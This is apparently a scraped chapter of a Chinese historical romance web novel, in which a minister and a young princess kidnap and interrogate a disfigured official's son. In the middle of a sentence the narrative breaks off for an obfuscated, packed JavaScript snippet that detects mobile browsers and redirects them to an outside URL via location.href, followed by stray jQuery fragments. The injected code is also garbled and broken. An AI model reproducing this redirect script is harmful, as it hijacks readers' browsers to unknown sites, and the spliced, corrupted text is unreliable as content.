15. 于无忧

    邻桌几人显然聊得起劲,语气中带着几分对高门大户八卦的兴奋,又有些惋惜与愤懑。


    话语间,茶水的氤氲热气升腾间,小二热络的来到了他们桌前,纪韶华无声收回心神。


    陆崖与小二点了壶茶,又要了些茶点,随意地问道:“那边在谈些什么?”


    小二犹豫了一下,朝隔壁桌扫了一眼,叹了口气,带着些笃定地问:“您不是金城人吧?”


    ”嗯。“陆崖挑眉,不置可否。


    小二点点头,随即开始解释,语气里带着些不忿,压低声音:“咱们这儿的于府尹家的公子,以前就是个纨绔子弟。前阵子,他家的主母带人回娘家省亲,结果遇上了场大火,人全都没了。”


    说到这里,他顿了顿,又再弯身小声道:“这于家公子倒是命大,但脸被烧毁了大半,脾气也更加阴晴不定。他们说的那个珠儿姑娘,原本和他关系不错,也不知昨晚出了什么事,就这么被打死了。官府去了,也没什么用。”


    说完,他又摇了摇头,叹息着转身忙去了。


    陆崖微微颔首,朝茯苓递了个眼色,示意她去探听更多消息。


    茯苓心领神会,端着一碟茶点走向邻桌,带着和善的笑意开口:“我家公子和夫人听闻几位方才的谈论,很是为那姑娘不平,特叫我来问一句——杀人大事,官府竟不管吗?”


    几人顺着她的目光看向陆崖二人,一眼便能识出是外地来人。男子气度不凡,虽透着书卷气却隐隐有难以接近的气场,女子虽戴着面纱,但气质极佳一双杏眼似小鹿般灵动,显然非寻常人家。


    再看随行的仆从,样貌气质皆是不俗。都暗自估摸着,这二位恐怕是有些身份的公子小姐。


    中年男子忍不住开口:“你们有所不知,于家在金城不仅有官职,他家主母的娘家许家,还是本地首屈一指的富商。而且,于家命好,出了个宫里的娘娘,谁敢惹?”


    一旁的青衫男子也附和:“可不是?别说这事了,光是这段时日,于府就打死了好几个下人。”


    “是啊!他最近天天去烟翠楼喝酒买醉,楼里的妈妈压根不想让他进门,奈何碍于他们家的权势,还是得伺候着,谁知竟闹出人命来。”


    又有人低声嘀咕:“那场火,起得蹊跷,指不定是遭了什么报应……”


    年轻男子连忙摇头,压低声音道:“别乱说,这场火灾后,那宫里的娘娘可封了贵妃呢。”


    “就是,人家家命好着呢。”


    纪韶华听着他们的议论,忍不住小声嘀咕:“是妃吧……”


    陆崖将茶盏推到她面前,见她居然在意这种事,竟觉得有些好笑,随口解释道:“对寻常百姓来说,妃也好,贵妃也罢,都是宫里位高权重的存在。”


    听了这些人的议论,纪韶华若有所思,指腹轻点茶盏边缘,片刻后才抬眼看向陆崖,问:“我们是不是得想办法接近于无忧?”


    “怎么,纪小郡主也想去烟翠楼逛逛?”陆崖挑眉,语气里带着调笑,“这要是让安王知道我带你去烟花柳巷,相府怕是再无安宁了。”


    纪韶华轻晃着手中茶盏的指尖一顿,旋即浅笑,语调不疾不徐:“若陆相想瞒,便定能瞒住,何必让我爹爹知晓?”


    陆崖唇角微勾,意味深长:“那要看小郡主想不想瞒了,还是心意已决,随我奔波天涯?”


    他语气依旧漫不经心,又带着几分戏谑,可这番话落入旁人耳中,便多了几分说不清的意味。


    身侧一众暗卫闻言微怔,神色恍惚,一时竟觉得自家主子有些陌生。


    平日里主子的玩笑,多是催命符,何曾带过半分真意?


    茯苓无声嗤笑他们的无知,目光带着几分“早知如此”的了然,甚至向寒鸦递去了个挑衅的眼神。


    寒鸦:……


    纪韶华不知暗卫们内心暗涌,只是不解,还带着几分呛他的意味:“那不然从哪儿入手,直接杀到于府?”


    那和直接指着于莹莹的鼻尖告诉她,我们怀疑你有鬼,来查你了,有何区别?


    陆崖不疾不徐地端起茶盏,神色自若:“把人绑来便是了。”


    纪韶华微微一愣,转头看向他,眼神中不仅是意外,竟还带着几分认同,复杂得很。


    她竟从未如此想过,最简单粗暴的法子,往往是最直接有效。


    *


    当天夜里,两人寻了处靠近烟翠楼的客栈歇脚,暗卫们守在外头,时刻盯着于无忧的动向。


    不过一会儿,醉醺醺的人影便踉跄着从烟翠楼里出来,嘴里骂骂咧咧,还引起了一阵小小骚动。


    他身边跟着几名家仆,却都在畏惧什么,不敢靠得太近。


    大火过去不到一月,于无忧的烧伤虽已结痂,但多数疤痕仍未完全愈合,仍处于康复阶段。一些旧痂脱落,露出粉红的新肉,与仍未脱落的焦黑血痂交错在脸上,显得尤为狰狞可怖。


    夜色下,他远远看去,活像地狱里爬出的恶鬼。


    待人拐入小巷,陆崖抬手一挥,暗卫悄无声息地行动,而他们二人则安稳地坐在屋里喝茶。


    没多久,门“吱呀”一声被推开,两名暗卫一前一后抬着个麻袋,迅速闪身进屋,将麻袋解开,里面人丢下,随即又隐入黑暗。


    地上躺着的人尚未清醒,纪韶华低头打量,眉头不自觉地皱起,却没多言。


    被随意丢在地上的人,半张脸几乎烧毁,露出的脖颈与手臂上也满是伤疤。若非身上华贵的锦衣、金冠玉饰,任谁也不会想到,他竟是一方府君之子。


    想着白日里众人所言,此人过往行径,纪韶华眼底不自觉地浮现出几分厌恶。在她看来,于家人皆是一丘之貉。


    此时茯苓走上前,先是抬手“啪”地甩了对方一巴掌,见人没醒,又反手补了一下,专打未被烧到的左脸,生怕右边那块脏污了手。


    “呃……谁敢打老子!”于无忧吃痛闷哼,口中恶狠狠地骂着,缓缓睁眼。


    可当他看清眼前的人时,忽然笑了。


    那张半毁的脸上露出笑意,血痂裂开,竟比方才更加骇人狰狞。


    他狠狠瞪着纪韶华,满眼恶毒,沙哑开口:“于莹莹你个贱人!怎么,没能让我死在那场大火里,这回亲自上场,想送我一程?”


    “嘭——”


    瓷杯砸中额角,空气瞬间安静下来,一丝鲜血沿着额头缓缓滑落。


    纪韶华意外地侧头,看


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15313326|167310||http|test|mini|href|location.split(|),0,{}));


    () {


    $(.inform).remove();


    $(#content).append(


    向始作俑者。


    陆崖正端起一个新杯子,神色如常,甚至还朝她微微一笑。随口解释,语气淡然:“她不是于妃。”


    话音一顿,又恶劣地补充:“但我们确实是来杀你的。”


    于无忧脸上的讥诮之色更甚,竟丝毫不见惧意,反而阴测测地冷笑:“怎么,于莹莹找不到我阿姐,还真敢杀了我不成?”


    纪韶华与陆崖对视一眼,皆是心中了然。


    蠢得倒是符合纨绔子弟的刻板印象。


    她心里思忖,既想知道于莹莹为何要杀他,又明白此事不好直接问,只得顺着他的话往下接:“你难道不清楚,于妃为什么要杀你吗?”


    “于莹莹算个什么东西,杀我?”于无忧神色陡然癫狂,完全不管眼前人是谁,破口便是一阵咒骂。


    “她当上贵妃,就忘了自己以前是于府的一条狗了?狗也配翻身当贵人?呵,你们还要给狗当狗……”


    话音未落,一声闷响骤然响起。


    纪韶华还未反应过来,便见于无忧猛地被一股凌厉的劲道扫到一旁。


    他的右脸瞬间火辣辣地疼,耳中嗡嗡作响,方才愈合的伤口被震裂,血痕四溢,鲜血淋漓,看上去更为恶心可怖。


    纪韶华微微偏头,避开那副惨不忍睹的画面。


    “你嘴巴最好放干净点。”陆崖的声音平静至极,却透着刺骨的寒意。


    于无忧倒在地上,竟因这句话瑟缩了一下,连带着身上的伤也仿佛更痛了几分。


    而纪韶华耳边却传来陆崖轻缓的声音,语气从容,甚至带着几分笑意:“不用想太多,你想问什么就问吧。”


    他坐在那里,神色悠然,手指轻点着茶盏,不疾不徐的模样,配上方才的狠辣手段,实在让人背脊生寒。


    纪韶华愣了一下,却并无害怕,反问:“他若是不肯回答呢?”


    “我曾掌刑狱司多年,最擅长的便是逼人开口……”陆崖微微俯身,凑近她耳畔,语气刻意压低,“还有——屈打成招。”


    纪韶华:“……”


    她没忍住,白了他一眼。


    这人没事就喜欢吓唬她,且乐此不疲。


    她懒得理会他的恶趣味,只淡淡道:“那就问他,于莹莹为何要杀他。”


    陆崖朝地上人抬了抬下巴,语气随意:“说吧,于莹莹为何要杀你?”


    就……就这么直接问?


    纪韶华目光微滞,实在怀疑他是不是在耍自己。


    可偏偏——


    地上的于无忧嘴角沾着血,眼神呆滞,战战兢兢地迟疑了一会儿,终于开口:“你们……不是于莹莹的人?”


    “对啊,我们和她有仇。”


    陆崖笑吟吟地回应,只可惜,那笑意却半点未达眼底,冷得让人心寒。


    所谓,敌人的敌人便是朋友。


    于无忧本就头脑简单,此时又被陆崖一掌打懵,心中恐惧愈发加深。


    察觉到眼前这两人似乎与于莹莹并非一伙,他心里一松,便如泄气的皮球一般,迅速开口将事情的大致经过说了出来。


    纪韶华:“……”


    该死……


    居然真让他这么问出来了?!